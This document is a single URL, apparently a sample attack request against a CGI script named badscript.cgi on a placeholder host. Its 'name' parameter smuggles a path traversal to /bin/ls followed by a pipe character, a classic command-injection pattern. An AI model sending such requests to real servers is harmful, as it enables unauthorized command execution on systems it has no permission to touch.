http://www.somehost.com/path/to/script/badscript.cgi?name=x-../../../bin/ls|